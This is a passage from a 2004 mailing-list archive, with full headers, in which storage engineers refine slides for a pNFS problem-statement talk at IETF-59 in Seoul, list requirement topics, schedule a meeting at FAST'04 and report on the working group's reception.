own. Specifically, I'm reluctant to say nothing about >>>> how NFSv4 is better for fixing this than NFSv3; that is, the >>>> definition >>> >>>> of NFSv4 creates the opportunity for ""direct"" or ""out-of-band"" >>>> access. >>>> >>>> Page 5: the two lines in question, >>>> >>>> - NFSv4, relative to NFSv3, has enhanced client side optimizations >>>> - NFSv4 minor extensions may suffice for incremental functionality >>>> >>>> Page 6: last section: >>>> >>>> Much interest in exploring NFSv4 extensions to meet scalability >>>> needs >>>> - Extend NFSv4 ""delegations"" to provide ""layout"" information to >>>> clients >>> >>>> - Clients use ""layout"" to directly access storage, avoiding >>>> single-server bottleneck >>>> - NFS, SCSI Block, and SCSI Object ""layout"" formats all discussed >>>> - Support for multiple ""layout"" formats desirable (and looks doable) >>>> >>>> Dave, how is this? >>>> >>>> garth >>>> >>>> >>>> On Feb 22, 2004, at 1:22 PM, Noveck, Dave wrote: >>>> >>>>> I have some suggestions on slides 5 and 6. >>>>> >>>>> I would drop the line about delegations from this slide. Unless >>>>> you come to this from the sorts of discussions we have been having >>>>> (and thus aren't the critical part of the audience), this is >>>>> really not going to be understandable. One problem that we have >>>>> in presenting this is that if we explain the situation, we wind up >>>>> having to explain that we think we pretty much know how to do this >>>>> already and just need the IETF to bless our choice (I'm >>>>> exaggerating >>>>> but only some), and that isn't likely to go down very well with a >>>>> lot of people. >>>>> >>>>> I'd express the last sub-bullet in this section as something like: >>>>> >>>>> NFSv4 minor version model a good way to provide incremental >>>>> extensions >>>>> >>>>> which doesn't say that we know pretty much what these are (but it >>>>> doesn't say we don't :-) >>>>> >>>>> As to the last section of slide 6, I'd revise to be something like >>>>> the following, again to reduce the we-know-how-to-do-this tone. >>>>> >>>>> Much interest in exploring how v4 could be extended to solve >>>>> this >>>>> >>>>> Extension of delegations to provide ""layout"" information >>>>> to clients >>>>> >>>>> Clients use layout information to do IO and avoid >>>>> single-server bottleneck >>>>> >>>>> NFS, SCSI Block, SCSI Object layout formats all discussed >>>>> >>>>> Support for multiple formats looks desirable (and >>>>> doable). >>>>> >>>>> -----Original Message----- >>>>> From: Garth Gibson [ mailto:garth@panasas.com >>>>> ] >>>>> Sent: Friday, February 20, 2004 7:22 PM >>>>> To: pnfs-reqs@yahoogroups.com >>>>> Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started >>>>> >>>>> >>>>> Based on feedback from Brent's concall 8 days ago, here is my cut >>>>> at >>>>> Gary's proposal for a short problem statement introduction >>>>> presentation. >>>>> >>>>> garth >> >> >> >> >> >> Yahoo! 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Groups Links > > > > >From Thomas.Talpey@netapp.com Sun Feb 29 20:24:09 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 37218 invoked from network); 1 Mar 2004 04:24:08 -0000 Received: from unknown (66.218.66.167) by m3.grp.scd.yahoo.com with QMQP; 1 Mar 2004 04:24:08 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 1 Mar 2004 04:24:08 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i214O8JC008573 for ; Sun, 29 Feb 2004 20:24:08 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i214O78L027043 for ; Sun, 29 Feb 2004 20:24:07 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.31]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Sun, 29 Feb 2004 23:23:57 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3FF45.03516C80"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Sun, 29 Feb 2004 20:23:56 -0800 Message-ID: <6.0.3.0.2.20040229231754.01b88ec0@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] concall now to finalize problem statement slides for Seoul if possible Thread-Index: AcP/RQO41PpGg+75T2KWjKxeFLsw/g== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] concall now to finalize problem statement slides for Seoul if possible X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu I like the new version better. It roots the pNFS solution in reality pretty well. Kind of the extended version of the elevator pitch. I might try to split the longer slides. The WG meeting is Thursday Korean time - Wednesday US. Tom. At 09:36 PM 2/26/2004, Garth Gibson wrote: >Tom and others > >In this mornings call Julian Satran, Peter Corbett, Benny Halevy and I >discussed how to give Tom something more concrete to cut the level of >abstraction without giving the appearance that we are providing a >solution and not describing a problem. > >Here is a new draft, unchanged except that I added a slide after slide >2 that shows a ""Now vs Goal"" pair of diagrams of storage, NFS server >and client and says ""Now: requested data moves through NFS server"" and >""Goal: reply from NFS server enables parallel access to storage >servers."" > >Tom. Use it or not. Modify it as needed. You are the speaker :-) > >garth > > >On Feb 26, 2004, at 5:31 PM, Talpey, Thomas wrote: >> Garth - sorry I couldn't join the call from the Far East. >> Could you please send the minutes and the latest >> version so I can comment? I'm ready to deliver the >> presentation, in any case. >> >> Tom. > > > > > >Yahoo! Groups Links > ><*> To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > ><*> To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > ><*> Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > >From garth@panasas.com Wed Mar 03 09:05:37 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 59921 invoked from network); 3 Mar 2004 17:05:33 -0000 Received: from unknown (66.218.66.167) by m12.grp.scd.yahoo.com with QMQP; 3 Mar 2004 17:05:33 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 3 Mar 2004 17:05:33 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GFV6TLLQ; Wed, 3 Mar 2004 12:05:09 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: Garth Gibson Date: Wed, 3 Mar 2004 12:05:00 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: concall tomorrow cancelled X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT click here Sometime in the next 24 hours our problem statement gets presented to the IETF NFS TWG. Hey, cool, we delivered on that goal! Next week lets hear what Tom, Julian and David have to say about the reception. And lets get back to the core requirements document next week - review the items that are on it ... ie, things like: 1.0 Minimalism 1.1 Proxying 1.1.0 Legacy proxying 1.1.1 Strict proxying 1.1.2 Functional proxying 1.2 Cache consistency 1.3 Delegation promotion & reacquisition 1.4 Layout delegations 1.5 Concurrent write 1.6 Map revocation 1.7 Separability 1.8 NTFS application semantics etc. garth >From andros@citi.umich.edu Wed Mar 03 10:27:04 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 38659 invoked from network); 3 Mar 2004 18:27:02 -0000 Received: from unknown (66.218.66.218) by m8.grp.scd.yahoo.com with QMQP; 3 Mar 2004 18:27:02 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta3.grp.scd.yahoo.com with SMTP; 3 Mar 2004 18:27:02 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id ECB22207EB; Wed, 3 Mar 2004 13:26:39 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu In-reply-to: Your message of ""Wed, 03 Mar 2004 12:05:00 EST."" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 03 Mar 2004 13:26:39 -0500 Message-Id: <20040303182640.ECB22207EB@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-reqs] concall tomorrow cancelled X-Yahoo-Group-Post: member; u=169434965 hi garth where can i get a copy of the core requirements document? does it have any place holder for the 'single OPEN for a group of clients, meta data scaling' issue i brought up with you and harvey? -->Andy > Sometime in the next 24 hours our problem statement gets presented to > the IETF NFS TWG. Hey, cool, we delivered on that goal! Next week > lets hear what Tom, Julian and David have to say about the reception. > > And lets get back to the core requirements document next week - review > the items that are on it ... ie, things like: > > 1.0 Minimalism > 1.1 Proxying > 1.1.0 Legacy proxying > 1.1.1 Strict proxying > 1.1.2 Functional proxying > 1.2 Cache consistency > 1.3 Delegation promotion & reacquisition > 1.4 Layout delegations > 1.5 Concurrent write > 1.6 Map revocation > 1.7 Separability > 1.8 NTFS application semantics > > etc. > > garth > > > > > > Yahoo! Groups Links > > > > > > >From garth@panasas.com Wed Mar 03 10:33:59 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 51877 invoked from network); 3 Mar 2004 18:33:58 -0000 Received: from unknown (66.218.66.172) by m9.grp.scd.yahoo.com with QMQP; 3 Mar 2004 18:33:58 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 3 Mar 2004 18:33:58 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GFV6TL8V; Wed, 3 Mar 2004 13:33:56 -0500 In-Reply-To: <20040303182640.ECB22207EB@citi.umich.edu> References: <20040303182640.ECB22207EB@citi.umich.edu> Mime-Version: 1.0 (Apple Message framework v612) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <4F64D15E-6D41-11D8-A101-000A95A94F04@panasas.com> Content-Transfer-Encoding: 7bit Cc: Garth Gibson Date: Wed, 3 Mar 2004 13:33:47 -0500 To: Andy Adamson , pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] concall tomorrow cancelled X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Andy, there is not a core requirements document -- this document is the work item we need to get back to -- we have items that belong in it that have been described and discussed in email on this reflector -- lets add ""group open"" to that list and discuss it next week garth On Mar 3, 2004, at 1:26 PM, William A.(Andy) Adamson wrote: > hi garth > > where can i get a copy of the core requirements document? does it have > any > place holder for the 'single OPEN for a group of clients, meta data > scaling' > issue i brought up with you and harvey? > > -->Andy > >> Sometime in the next 24 hours our problem statement gets presented to >> the IETF NFS TWG. Hey, cool, we delivered on that goal! Next week >> lets hear what Tom, Julian and David have to say about the reception. >> >> And lets get back to the core requirements document next week - review >> the items that are on it ... ie, things like: >> >> 1.0 Minimalism >> 1.1 Proxying >> 1.1.0 Legacy proxying >> 1.1.1 Strict proxying >> 1.1.2 Functional proxying >> 1.2 Cache consistency >> 1.3 Delegation promotion & reacquisition >> 1.4 Layout delegations >> 1.5 Concurrent write >> 1.6 Map revocation >> 1.7 Separability >> 1.8 NTFS application semantics >> >> etc. >> >> garth >> >> >> >> >> >> Yahoo! Groups Links >> >> >> >> >> >> > > > > > > Yahoo! Groups Links > > > > >From mclarty3@llnl.gov Wed Mar 03 16:30:19 2004 Return-Path: X-Sender: mclarty3@llnl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 13572 invoked from network); 4 Mar 2004 00:30:16 -0000 Received: from unknown (66.218.66.216) by m13.grp.scd.yahoo.com with QMQP; 4 Mar 2004 00:30:16 -0000 Received: from unknown (HELO smtp-1.llnl.gov) (128.115.250.81) by mta1.grp.scd.yahoo.com with SMTP; 4 Mar 2004 00:30:16 -0000 Received: from poptop.llnl.gov (localhost [127.0.0.1]) by smtp-1.llnl.gov (8.12.3p2-20030917/8.12.3/LLNL evision: 1.13 $) with ESMTP id i240U3mm020251 for ; Wed, 3 Mar 2004 16:30:04 -0800 (PST) Received: from POLARBEAR.llnl.gov ([134.9.18.59] verified) by poptop.llnl.gov (CommuniGate Pro SMTP 4.0.6) with ESMTP id 37710231 for pnfs-reqs@yahoogroups.com; Wed, 03 Mar 2004 16:30:03 -0800 Message-Id: <5.0.0.25.2.20040303162808.0276deb0@poptop.llnl.gov> X-Sender: e002801@poptop.llnl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Wed, 03 Mar 2004 16:30:03 -0800 To: pnfs-reqs@yahoogroups.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-eGroups-Remote-IP: 128.115.250.81 From: Tyce McLarty Subject: Re: [pnfs-reqs] concall tomorrow cancelled X-Yahoo-Group-Post: member; u=169320772 X-Yahoo-Profile: mclarty3 Garth, Didn't we say something in December about another face-to-face meeting at the time of the FAST'04 conference? I do not remember seeing anything more definite. Is that still on? Thanks, Tyce At 12:05 PM 3/3/2004 -0500, you wrote: >Sometime in the next 24 hours our problem statement gets presented to >the IETF NFS TWG. Hey, cool, we delivered on that goal! Next week >lets hear what Tom, Julian and David have to say about the reception. > >And lets get back to the core requirements document next week - review >the items that are on it ... ie, things like: > >1.0 Minimalism >1.1 Proxying >1.1.0 Legacy proxying >1.1.1 Strict proxying >1.1.2 Functional proxying >1.2 Cache consistency >1.3 Delegation promotion & reacquisition >1.4 Layout delegations >1.5 Concurrent write >1.6 Map revocation >1.7 Separability >1.8 NTFS application semantics > >etc. > >garth > > > > > >Yahoo! Groups Links > > > > >From Thomas.Talpey@netapp.com Wed Mar 03 17:16:58 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 28052 invoked from network); 4 Mar 2004 01:16:56 -0000 Received: from unknown (66.218.66.172) by m20.grp.scd.yahoo.com with QMQP; 4 Mar 2004 01:16:56 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 4 Mar 2004 01:16:56 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i241GtJC026219 for ; Wed, 3 Mar 2004 17:16:56 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i241Gt8N013164 for ; Wed, 3 Mar 2004 17:16:55 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.36]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 3 Mar 2004 20:16:45 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C40186.5BC37C80"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Wed, 3 Mar 2004 17:16:31 -0800 Message-ID: <6.0.3.0.2.20040303201511.01eba6d8@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] concall tomorrow cancelled Thread-Index: AcQBhl1nhCX47ptYSnazBJeLzm1jWA== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] concall tomorrow cancelled X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu Good point - I've already put this in the slides. Someone let me know in the next 2.5 hours if that's not the case! BTW I'll send the updated slides in a second... Tom. At 07:30 PM 3/3/2004, Tyce McLarty wrote: >Garth, > >Didn't we say something in December about another face-to-face meeting at >the time of the FAST'04 conference? I do not remember seeing anything more >definite. Is that still on? > >Thanks, >Tyce > >At 12:05 PM 3/3/2004 -0500, you wrote: >>Sometime in the next 24 hours our problem statement gets presented to >>the IETF NFS TWG. Hey, cool, we delivered on that goal! Next week >>lets hear what Tom, Julian and David have to say about the reception. >> >>And lets get back to the core requirements document next week - review >>the items that are on it ... ie, things like: >> >>1.0 Minimalism >>1.1 Proxying >>1.1.0 Legacy proxying >>1.1.1 Strict proxying >>1.1.2 Functional proxying >>1.2 Cache consistency >>1.3 Delegation promotion & reacquisition >>1.4 Layout delegations >>1.5 Concurrent write >>1.6 Map revocation >>1.7 Separability >>1.8 NTFS application semantics >> >>etc. >> >>garth >> >> >> >> >> >>Yahoo! Groups Links >> >> >> >> > > > > >Yahoo! Groups Links > ><*> To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > ><*> To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > ><*> Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > >From peter-yahoo@honeyman.org Wed Mar 03 17:20:44 2004 Return-Path: X-Sender: peter-yahoo@honeyman.org X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 3642 invoked from network); 4 Mar 2004 01:20:44 -0000 Received: from unknown (66.218.66.172) by m10.grp.scd.yahoo.com with QMQP; 4 Mar 2004 01:20:44 -0000 Received: from unknown (HELO n6.grp.scd.yahoo.com) (66.218.66.90) by mta4.grp.scd.yahoo.com with SMTP; 4 Mar 2004 01:20:43 -0000 Received: from [66.218.67.179] by n6.grp.scd.yahoo.com with NNFMP; 04 Mar 2004 01:20:43 -0000 Date: Thu, 04 Mar 2004 01:20:43 -0000 To: pnfs-reqs@yahoogroups.com Message-ID: In-Reply-To: <5.0.0.25.2.20040303162808.0276deb0@poptop.llnl.gov> User-Agent: eGroups-EW/0.82 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Length: 281 X-Mailer: Yahoo Groups Message Poster X-eGroups-Remote-IP: 66.218.66.90 From: ""peterhoneyman"" X-Originating-IP: 68.248.9.51 Subject: Re: concall tomorrow cancelled X-Yahoo-Group-Post: member; u=117991698 X-Yahoo-Profile: peterhoneyman yes, we have a room reserved in the conference hotel for the morning of march 31. peter > Didn't we say something in December about another face-to-face meeting at > the time of the FAST'04 conference? I do not remember seeing anything more > definite. Is that still on? >From garth@panasas.com Wed Mar 03 17:27:22 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 37476 invoked from network); 4 Mar 2004 01:27:22 -0000 Received: from unknown (66.218.66.216) by m7.grp.scd.yahoo.com with QMQP; 4 Mar 2004 01:27:22 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta1.grp.scd.yahoo.com with SMTP; 4 Mar 2004 01:27:17 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GFV6T3BW; Wed, 3 Mar 2004 20:27:13 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <0B9C112B-6D7B-11D8-A101-000A95A94F04@panasas.com> Content-Transfer-Encoding: 7bit Date: Wed, 3 Mar 2004 20:27:05 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Re: concall tomorrow cancelled X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson 3/31 (Wed) from 8:30am - 12:00pm in the Dolores room at the Grand Hyatt, in San Francisco -- same hotel as the NSDI and FAST conferences thanks to Peter for arranging this garth On Mar 3, 2004, at 8:20 PM, peterhoneyman wrote: > yes, we have a room reserved in the conference hotel for the morning > of march 31. > > peter > >> Didn't we say something in December about another face-to-face >> meeting at >> the time of the FAST'04 conference? I do not remember seeing anything >> more >> definite. Is that still on? > >From Thomas.Talpey@netapp.com Wed Mar 03 17:49:53 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 41657 invoked from network); 4 Mar 2004 01:49:51 -0000 Received: from unknown (66.218.66.166) by m9.grp.scd.yahoo.com with QMQP; 4 Mar 2004 01:49:51 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta5.grp.scd.yahoo.com with SMTP; 4 Mar 2004 01:49:52 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i241npJC001618 for ; Wed, 3 Mar 2004 17:49:52 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i241np8L023439 for ; Wed, 3 Mar 2004 17:49:51 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.36]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 3 Mar 2004 20:49:39 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----_=_NextPart_001_01C4018A.F45BFB80"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Wed, 3 Mar 2004 17:48:51 -0800 Message-ID: <6.0.3.0.2.20040303204633.01c62ec0@silver.nane.netapp.com> X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: IETF-59 presentation updated draft Thread-Index: AcQBivg0h9qI3oqJRKStEnDSL6Ptzw== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: IETF-59 presentation updated draft X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu Here's the latest version. The content is largely the same but I simplified a couple of areas and jazzed up the picture a little. Also I added a ""what"" slide to the front by adapting stuff from the back. The WG meeting is in two hours so sorry for the late appearance. I'll check for comments regularly until then. Tom. Attachment (not stored) pNFS-intro-ietf59.ppt Type: application/octet-stream >From Thomas.Talpey@netapp.com Wed Mar 03 23:12:00 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 86040 invoked from network); 4 Mar 2004 07:12:00 -0000 Received: from unknown (66.218.66.217) by m14.grp.scd.yahoo.com with QMQP; 4 Mar 2004 07:12:00 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta2.grp.scd.yahoo.com with SMTP; 4 Mar 2004 07:11:59 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i247BlJC010083 for ; Wed, 3 Mar 2004 23:11:47 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i247Bl8L013242 for ; Wed, 3 Mar 2004 23:11:47 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.30]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 4 Mar 2004 02:11:40 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----_=_NextPart_001_01C401B7.F0929E00"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Wed, 3 Mar 2004 23:11:22 -0800 Message-ID: <6.0.3.0.2.20040304020718.01c55ec0@silver.nane.netapp.com> X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: Source for today's presentation Thread-Index: AcQBt/Ndrsk+aGmQQCODwZ9eFak9QA== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Source for today's presentation X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu Here's the final powerpoint source. The presentation went well, though the important message conduit is the minutes/proceedings. I think I wrote the ""elevator pitch"" for them. :-) Tom. Attachment (not stored) pNFS-intro-ietf59-final.ppt Type: application/octet-stream >From julian_satran@il.ibm.com Thu Mar 04 00:56:52 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 55119 invoked from network); 4 Mar 2004 08:56:51 -0000 Received: from unknown (66.218.66.166) by m16.grp.scd.yahoo.com with QMQP; 4 Mar 2004 08:56:51 -0000 Received: from unknown (HELO mtagate1.de.ibm.com) (195.212.29.150) by mta5.grp.scd.yahoo.com with SMTP; 4 Mar 2004 08:56:50 -0000 Received: from d12relay01.megacenter.de.ibm.com (d12relay01.megacenter.de.ibm.com [9.149.165.180]) by mtagate1.de.ibm.com (8.12.10/8.12.10) with ESMTP id i248tQpS103912; Thu, 4 Mar 2004 08:55:27 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay01.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i248tTOQ289120; Thu, 4 Mar 2004 09:55:30 +0100 In-Reply-To: To: pnfs-reqs@yahoogroups.com Cc: Garth Gibson , pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: Date: Thu, 4 Mar 2004 17:55:24 +0900 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2|July 23, 2003) at 04/03/2004 10:55:25, Serialize complete at 04/03/2004 10:55:25 Content-Type: text/plain; charset=""US-ASCII"" X-eGroups-Remote-IP: 195.212.29.150 From: Julian Satran Subject: Re: [pnfs-reqs] concall tomorrow cancelled X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran The room was not very full (and that is an eufemism). I tried to bring in the area director (Jon Petersen) and told him briefly what it's all about. He did not come but I met him again after the session and reiterated my position. As Jon is trying to close whatever groups he can - we will have to persuade him that NFSV4 is not yet done and this activity can't be pursued as a tiny addition that can be reviewed by 2 experts (that is what they do after closing WGs). David did not show-up. Tom will have all the details. He chaired the WG for Beepy (who is sick). We proposed to make pNFS an official work-item of the WG but given the completely minor presence in the room (other session where in this state too) this has to be brought to the mailing list and it has to generate some traffic (which I assume it will). Jon complained also about the lack of volunteers to write drafts. I assume he was not referring to the NFS only though. Regards, Julo Garth Gibson 04/03/2004 02:05 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Garth Gibson Subject [pnfs-reqs] concall tomorrow cancelled Sometime in the next 24 hours our problem statement gets presented to the IETF NFS TWG. Hey, cool, we delivered on that goal! Next week lets hear what Tom, Julian and David have to say about the reception. And lets get back to the core requirements document next week - review the items that are on it ... ie, things like: 1.0 Minimalism 1.1 Proxying 1.1.0 Legacy proxying 1.1.1 Strict proxying 1.1.2 Functional proxying 1.2 Cache consistency 1.3 Delegation promotion & reacquisition 1.4 Layout delegations 1.5 Concurrent write 1.6 Map revocation 1.7 Separability 1.8 NTFS application semantics etc. garth Yahoo! Groups Links >From black_david@emc.com Thu Mar 04 03:00:54 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 96985 invoked from network); 4 Mar 2004 11:00:52 -0000 Received: from unknown (66.218.66.172) by m14.grp.scd.yahoo.com with QMQP; 4 Mar 2004 11:00:52 -0000 Received: from unknown (HELO srexchimc2.eng.emc.com) (168.159.100.11) by mta4.grp.scd.yahoo.com with SMTP; 4 Mar 2004 11:00:51 -0000 Received: from MAHO3MSX2.corp.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by srexchimc2.eng.emc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id GD38HLZM; Thu, 4 Mar 2004 06:00:05 -0500 Received: by maho3msx2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Mar 2004 06:00:05 -0500 Message-ID: X-Sybari-Trust: 03b6d71b 1d8c424f 578b0cff 0000013d To: pnfs-reqs@yahoogroups.com Date: Thu, 4 Mar 2004 06:00:04 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 168.159.100.11 From: black_david@emc.com Subject: Seoul results (was: concall tomorrow cancelled) X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 Julian writes: > The room was not very full (and that is an eufemism). I tried to bring in > the area director (Jon Petersen) and told him briefly what it's all about. > He did not come but I met him again after the session and reiterated my > position. > As Jon is trying to close whatever groups he can - we will have to > persuade him that NFSV4 is not yet done and this activity can't be pursued > as a tiny addition that can be reviewed by 2 experts (that is what they do > after closing WGs). David did not show-up. Tom will have all the details. > He chaired the WG for Beepy (who is sick). My lack of attendance was a brain-fault on my part, for which I sincerely apologize. I talked to Jon both before and after the meeting - Jon's ok with adding pNFS to the nfsv4 WG charter, even considering the overall desire to close out long-running WGs like nfsv4. That's good news, but keep in mind that this is today's answer, and ADs always reserve the right to change their minds. > We proposed to make pNFS an official work-item of the WG but given the > completely minor presence in the room (other session where in this state > too) this has to be brought to the mailing list and it has to generate > some traffic (which I assume it will). Attendance from the US is down across the board here in Seoul. pNFS does need to be followed up on the mailing list and then the chairs (Beepy and Spencer) will need to work out the addition with Jon. So far, so good. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 